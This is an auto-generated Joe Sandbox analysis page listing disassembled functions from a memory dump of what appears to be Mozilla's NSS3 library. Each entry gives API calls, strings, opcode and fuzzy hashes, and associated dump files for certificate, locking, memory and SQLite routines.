Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 4c99b76f6c534c82ef5e9f673920b7bcd44878d2fa3e9fa69ce6a95b642e80f4
Instruction ID: 4c290bf631fa9e627c333699d369403c56c2728a1e01134ba6444bf2d2a74be0
Opcode Fuzzy Hash: 4c99b76f6c534c82ef5e9f673920b7bcd44878d2fa3e9fa69ce6a95b642e80f4
Instruction Fuzzy Hash: B21102B1A0070EABFB109E65DE88B06B3ACEF0435CF604435E91986A01EB39F474C7E1

Function 6C6DDFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6F06A0: TlsGetValue.KERNEL32 ref: 6C6F06C2
Part of subcall function 6C6F06A0: EnterCriticalSection.KERNEL32(?), ref: 6C6F06D6
Part of subcall function 6C6F06A0: PR_Unlock.NSS3 ref: 6C6F06EB

CERT_NewCertList.NSS3 ref: 6C6DDFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C6DDFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C6DDFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DE029

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 407600f5915c012f77aaadac38ca7a71e01a401e603ff4668933c868d2647ceb
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 5C112B71A00206ABDB211EA95C44FEFB6B8EB8135CF060534E918C7B50E732F825D6E9

Function 6C6F8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6F8DE7
EnterCriticalSection.KERNEL32 ref: 6C6F8DFC
PR_Unlock.NSS3 ref: 6C6F8E2D
PR_SetError.NSS3 ref: 6C6F8E49

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2733fc06dc7e477d31d7ed42fe714b72982238e4c82e6d865085661cdb4da97b
Instruction ID: 504c65bf176a84165f4f1598a1f3d474b26273ebcfb6d13a97d96c48ad72c9e0
Opcode Fuzzy Hash: 2733fc06dc7e477d31d7ed42fe714b72982238e4c82e6d865085661cdb4da97b
Instruction Fuzzy Hash: 3C119171605A049FD750AF78C5481A9BBF4FF4A314F014969DC98DBB00E734E855CBD6

Function 6C77AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C765F17,?,?,?,?,?,?,?,?,6C76AAD4), ref: 6C77AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C765F17,?,?,?,?,?,?,?,?,6C76AAD4), ref: 6C77ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C76AAD4), ref: 6C77ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C76AAD4), ref: 6C77ACDB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: fbb3f2e3dc881b1fd8aeaab4fe266e067439f4d434ce5296909408c340f77915
Instruction ID: 969a80e88ebc1743e28612deb79dd3a31fece1ac1baa2bdafd1fb3473e69abbf
Opcode Fuzzy Hash: fbb3f2e3dc881b1fd8aeaab4fe266e067439f4d434ce5296909408c340f77915
Instruction Fuzzy Hash: 3F014CB1601B05ABEB60DF29DA09753B7E8BF00669B144839E85AC3E00E735F054CBE1

Function 6C6E1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C6E1DFB

Part of subcall function 6C6D95B0: TlsGetValue.KERNEL32(00000000,?,6C6F00D2,00000000), ref: 6C6D95D2
Part of subcall function 6C6D95B0: EnterCriticalSection.KERNEL32(?,?,?,6C6F00D2,00000000), ref: 6C6D95E7
Part of subcall function 6C6D95B0: PR_Unlock.NSS3(?,?,?,?,6C6F00D2,00000000), ref: 6C6D9605

PR_EnterMonitor.NSS3 ref: 6C6E1E09

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

Part of subcall function 6C6DE190: PR_EnterMonitor.NSS3(?,?,6C6DE175), ref: 6C6DE19C
Part of subcall function 6C6DE190: PR_EnterMonitor.NSS3(6C6DE175), ref: 6C6DE1AA
Part of subcall function 6C6DE190: PR_ExitMonitor.NSS3 ref: 6C6DE208
Part of subcall function 6C6DE190: PL_HashTableRemove.NSS3(?), ref: 6C6DE219
Part of subcall function 6C6DE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6DE231
Part of subcall function 6C6DE190: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6DE249
Part of subcall function 6C6DE190: PR_ExitMonitor.NSS3 ref: 6C6DE257

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E1E37
PR_ExitMonitor.NSS3 ref: 6C6E1E4A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Monitor$Enter$Value$CriticalExitSection$Arena_FreeUtil$CertificateDestroyErrorHashLeaveRemoveTableUnlock
String ID:
API String ID: 499896158-0
Opcode ID: 40300b33296f242478db26d58e6b2eefbc1c51aa528015981bfceee2f6e89bb5
Instruction ID: a6979f32feb3e90518e4479198aac2c6fc8aeedafc869e069ae4b6ec14f85c54
Opcode Fuzzy Hash: 40300b33296f242478db26d58e6b2eefbc1c51aa528015981bfceee2f6e89bb5
Instruction Fuzzy Hash: 66012B71B0515197EB205B69EC08F5677B4AB49B4CF100032F82C97B52E731E816EBE9

Function 6C6E1D50 Relevance: 6.0, APIs: 4, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E1D75
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6E1D89
PORT_ZAlloc_Util.NSS3(00000010), ref: 6C6E1D9C
free.MOZGLUE(00000000), ref: 6C6E1DB8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_Util$Errorfree
String ID:
API String ID: 939066016-0
Opcode ID: 03250ed77bb6e6930668a2c7afe4c08b5eaacb72466ef5572c2adc2434694522
Instruction ID: d81e09f20005108e3ce9e1a73f80a4de7096c65e0ea784723090f68ce79c63f5
Opcode Fuzzy Hash: 03250ed77bb6e6930668a2c7afe4c08b5eaacb72466ef5572c2adc2434694522
Instruction Fuzzy Hash: 77F049B3A0A21457FF201F196C46F8B32C89B89798F100237ED0D4BB07D621E40092E9

Function 6C72FD80 Relevance: 6.0, APIs: 4, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C6D9003,?), ref: 6C72FD91

Part of subcall function 6C730BE0: malloc.MOZGLUE(6C728D2D,?,00000000,?), ref: 6C730BF8
Part of subcall function 6C730BE0: TlsGetValue.KERNEL32(6C728D2D,?,00000000,?), ref: 6C730C15

PORT_Alloc_Util.NSS3(A4686C73,?), ref: 6C72FDA2
memcpy.VCRUNTIME140(00000000,12D068C3,A4686C73,?,?), ref: 6C72FDC4
free.MOZGLUE(00000000,?,?), ref: 6C72FDD1

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Alloc_Util$Valuefreemallocmemcpy
String ID:
API String ID: 2335489644-0
Opcode ID: 35109ddbc9faa4630402d52a85ce476b42424695940cca0e8e13913db523d367
Instruction ID: b279b71698e4289ad2aaa15a30d89afcdebfb61f0ce701c8a1661b82746db468
Opcode Fuzzy Hash: 35109ddbc9faa4630402d52a85ce476b42424695940cca0e8e13913db523d367
Instruction Fuzzy Hash: 03F021F36012225BFF004F55EE969277758EF4429DB148035ED0D8BB02E721D814C7E1

Function 6C7ECC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C7ECC61
free.MOZGLUE ref: 6C7ECC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C7ECC80
free.MOZGLUE(?), ref: 6C7ECC87

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 7668c478f69da12e2945571cba4205b422524ebd9df5486c005c9d67b01dc203
Instruction ID: 17119b88a65e9ff42b6a3a7181ba35bf815ec185bc3a401d2874a765dbd54672
Opcode Fuzzy Hash: 7668c478f69da12e2945571cba4205b422524ebd9df5486c005c9d67b01dc203
Instruction Fuzzy Hash: 17E030B6700608ABDE10EFA9DC4889677ACEE492743154535E691C3701D235F905CBE1

Function 6C6C9DC0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3 ref: 6C6C9E1F

Part of subcall function 6C6813C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C652352,?,00000000,?,?), ref: 6C681413
Part of subcall function 6C6813C0: memcpy.VCRUNTIME140(00000000,R#el,00000002,?,?,?,?,6C652352,?,00000000,?,?), ref: 6C6814C0

Strings

LIKE or GLOB pattern too complex, xrefs: 6C6CA006
ESCAPE expression must be a single character, xrefs: 6C6C9F78

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpysqlite3_value_textstrlen
String ID: ESCAPE expression must be a single character$LIKE or GLOB pattern too complex
API String ID: 2453365862-264706735
Opcode ID: 1fd954ba7396e20c3aac8753360be73bd64f988557256e321feca3eb2548c348
Instruction ID: dcf6b1c6bc2fffb13ec84187aa7af424ff863025ac992142133d07582070f45e
Opcode Fuzzy Hash: 1fd954ba7396e20c3aac8753360be73bd64f988557256e321feca3eb2548c348
Instruction Fuzzy Hash: C881D671B046558BD704CF29C0903AAB7F2EF8531CF288659D8B89BB81D736D847C79A

Function 6C724D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C724D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C724DE6

Strings

%d.%d, xrefs: 6C724DDE

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 23ea06d863a4d09165e667fff0d1919a2e7a78727e45d983d5755135ccb85da7
Instruction ID: e5031f69d3bed593c17d43de1af729565a40bb467d93a07f9b27416add3df7f1
Opcode Fuzzy Hash: 23ea06d863a4d09165e667fff0d1919a2e7a78727e45d983d5755135ccb85da7
Instruction Fuzzy Hash: 093100B2E002186BFB205B719D1ABFF7768EF41308F050429ED155B741EB349909CBE5

Function 6C744CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8tl,00000000,00000000,?,?,6C743827,?,00000000), ref: 6C744D0A

Part of subcall function 6C730840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7308B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C744D22

Part of subcall function 6C72FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C6D1A3E,00000048,00000054), ref: 6C72FD56

Strings

'8tl, xrefs: 6C744D07

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8tl
API String ID: 1521942269-965635378
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: 81e617b33e3de950aede8b66e180900720c05aa0031046eb7a3d67b9f37c1413
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: 45F0963264122467EB104D6AAE85B4336DC9B4167DF1442B1EE28CB781E631CC00EAE1

Function 6C76AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C76AF78

Part of subcall function 6C6CACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CACE2
Part of subcall function 6C6CACC0: malloc.MOZGLUE(00000001), ref: 6C6CACEC
Part of subcall function 6C6CACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6CAD02
Part of subcall function 6C6CACC0: TlsGetValue.KERNEL32 ref: 6C6CAD3C
Part of subcall function 6C6CACC0: calloc.MOZGLUE(00000001,?), ref: 6C6CAD8C
Part of subcall function 6C6CACC0: PR_Unlock.NSS3 ref: 6C6CADC0
Part of subcall function 6C6CACC0: PR_Unlock.NSS3 ref: 6C6CAE8C
Part of subcall function 6C6CACC0: free.MOZGLUE(?), ref: 6C6CAEAB

memcpy.VCRUNTIME140(6C833084,6C8302AC,00000090), ref: 6C76AF94

Strings

SSL, xrefs: 6C76AF73

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 10067996a6f9508136c4e0e2c656ccb5c34f9f218d78558c0e74eec60e49c0d7
Instruction ID: 344278cf53d28d11aea65f8b8914d19314196e3a634e0d52fcde5b4e2f2d82b2
Opcode Fuzzy Hash: 10067996a6f9508136c4e0e2c656ccb5c34f9f218d78558c0e74eec60e49c0d7
Instruction Fuzzy Hash: 27213DB2205A889ADA30DFD2A7673127FB4B20374D7106828D91D0BF24D7399846EFD5

Function 6C6C0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F1B

Part of subcall function 6C6C1370: GetSystemInfo.KERNEL32(?,?,?,?,6C6C0936,?,6C6C0F20,6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000), ref: 6C6C138F

PR_NewLogModule.NSS3(clock,6C6C0936,FFFFE8AE,?,6C6516B7,00000000,?,6C6C0936,00000000,?,6C65204A), ref: 6C6C0F25

Part of subcall function 6C6C1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C6C0936,00000001,00000040), ref: 6C6C1130
Part of subcall function 6C6C1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6C0936,00000001,00000040), ref: 6C6C1142
Part of subcall function 6C6C1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6C0936,00000001), ref: 6C6C1167

Strings

clock, xrefs: 6C6C0F20

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: c1b3e6483ba48710dec01a4b0bae61e4cf1c72a5ff16b06c851ba54972229dde
Instruction ID: ff21d11c03289a32d92abc19f4502cb93aa6348d0944734ec7b2df44f7a0ce7f
Opcode Fuzzy Hash: c1b3e6483ba48710dec01a4b0bae61e4cf1c72a5ff16b06c851ba54972229dde
Instruction Fuzzy Hash: 01D0123170414455D6316697AC85B96B6ACC7C327DF105C36E11C41E114A6CD0DEE6FF

Function 6C730DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C730DF5
TlsGetValue.KERNEL32 ref: 6C730E2D
TlsGetValue.KERNEL32 ref: 6C730E58
TlsGetValue.KERNEL32 ref: 6C730E84

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 5dbd63bc7218591bc472ec18bb32ff10bcf24518b088a3658aeb3d051bc7d83b
Instruction ID: 707c737d2d83dbdf798a4afe305fe07e7dc480ed9c1b50313f863fee00db2d82
Opcode Fuzzy Hash: 5dbd63bc7218591bc472ec18bb32ff10bcf24518b088a3658aeb3d051bc7d83b
Instruction Fuzzy Hash: 5931C6B17843A48BD7107F7CD64825976A8FF06308F116679D88C87A52DB34C495CAC6

Function 6C730F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C6D2AF5,?,?,?,?,?,6C6D0A1B,00000000), ref: 6C730F1A
malloc.MOZGLUE(00000001), ref: 6C730F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C730F42
TlsGetValue.KERNEL32 ref: 6C730F5B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: 83d36f8b4bbf1d62dcedfbe2800a1c0a73e8dc633ae466cbe4a37b42db9dd759
Instruction ID: 8882242154eeac1ec3837785a7065b5e9ae84b09e7bd17cd6ad25ee5fb0a605f
Opcode Fuzzy Hash: 83d36f8b4bbf1d62dcedfbe2800a1c0a73e8dc633ae466cbe4a37b42db9dd759
Instruction Fuzzy Hash: 5A012DB2B0026557E720173E9F08562766CEF4629CB011531EC0CC2A13E730C405C5E2

Function 6C6E1EB0 Relevance: 5.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6C6E1ECE
free.MOZGLUE(?), ref: 6C6E1EDF
free.MOZGLUE(?), ref: 6C6E1EEF
free.MOZGLUE(?), ref: 6C6E1EF5

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

